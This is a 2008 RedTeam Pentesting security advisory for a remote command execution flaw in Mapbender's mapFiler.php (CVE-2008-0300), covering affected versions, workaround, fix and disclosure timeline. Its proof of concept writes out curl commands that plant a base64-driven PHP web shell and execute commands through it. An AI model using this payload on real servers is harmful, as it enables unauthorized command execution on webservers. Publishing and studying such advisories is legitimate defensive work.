rt-sa-2008-001.txt

`Advisory: Remote Command Execution in Mapbender  
  
During a penetration test RedTeam Pentesting discovered a remote command  
execution vulnerability in Mapbender. An unauthorized user can create  
arbitrary PHP-files on the Mapbender webserver, which can later be  
executed.  
  
  
Details  
=======  
  
Product: Mapbender  
Affected Versions: 2.4 - 2.4.4 (verified), probably older versions, too  
Fixed Versions: 2.4.5rc1  
Vulnerability Type: Remote Command Execution  
Security-Risk: high  
Vendor-URL: http://www.mapbender.org  
Vendor-Status: informed, fixed version released  
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2008-001.php  
Advisory-Status: public  
CVE: CVE-2008-0300  
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0300  
  
  
Introduction  
============  
  
"Mapbender is the software and portal site for geodata management of OGC  
OWS architectures. The software provides web technology for managing  
spatial data services implemented in PHP, JavaScript and XML. It  
provides a data model and interfaces for displaying, navigating and  
querying OGC compliant map services. The Mapbender framework furthermore  
provides authentication and authorization services, OWS proxy  
functionality, management interfaces for user, group and service  
administration in WebGIS projects."  
  
(from the vendor's homepage)  
  
  
More Details  
============  
  
The Mapbender software comes with a script mapFiler.php, which is  
located at  
  
http://www.example.com/tools/mapFiler.php  
  
Due to the lack of input filtering, an attacker is able to enter valid PHP  
code in the "factor" input field. This PHP code is written into a newly  
generated file in the Mapbender webfolder. Therefore, it is possible to  
remotely execute the code by requesting the new file.  
  
  
Proof of Concept  
================  
  
For this example, the user account which is used to execute php scripts  
needs permissions to write files to the tmp directory. Any other directory  
with write permissions in the web root can be used, too.  
  
Calling  
  
curl -d "myLocation=../tmp/.&factor=<?php passthru(base64_decode(  
\$_GET[c])) ?>.php&button=let's go" http://www.example.com/  
tools/mapFiler.php  
  
creates a file  
  
tmp/_\<\?php\ passthru\(base64_decode\(\$_GET\[c\]\)\)\ \?\>.php.  
  
with the content:  
  
#Modified by MapbenderTools  
#Date: 14.01.2008  
#Factor: <?php passthru(base64_decode($_GET[c])) ?>.php  
  
This script can then be executed by calling:  
  
curl -g 'http://www.example.com/tmp/_<%3fphp%20passthru(base64_decode(  
$_GET[c]))%20%3f>.php.?c=aWQ'  
  
It returns:  
  
#Modified by MapbenderTools  
#Date: 15.01.2008  
#Factor: uid=33(www-data) gid=33(www-data) groups=33(www-data)  
.php  
  
Commands sent to the script have to be base64 encoded and will be decoded by the  
PHP code, to avoid possible URL filtering on the victim's side.  
  
  
Workaround  
==========  
  
If not needed, the mapfiler.php script can be removed. Otherwise, it can  
be protected by using an .htaccess directive.  
  
  
Fix  
===  
  
The vulnerability is fixed in release 2.4.5 rc1.  
  
  
Security Risk  
=============  
  
The security risk is rated as high. An attacker can execute arbitrary  
commands remotely with the rights of the webserver.  
  
  
History  
=======  
  
2007-12-14 Problem identified during a penetration test  
2008-01-09 Customer approves contacting of Mapbender developers  
2008-01-17 CVE number assigned  
2008-03-10 Vendor releases fixed version  
2008-03-11 Advisory released  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting is offering individual penetration tests, short  
pentests, performed by a team of specialised IT-security experts.  
Hereby, security weaknesses in company networks or products are  
uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at  
http://www.redteam-pentesting.de.  
`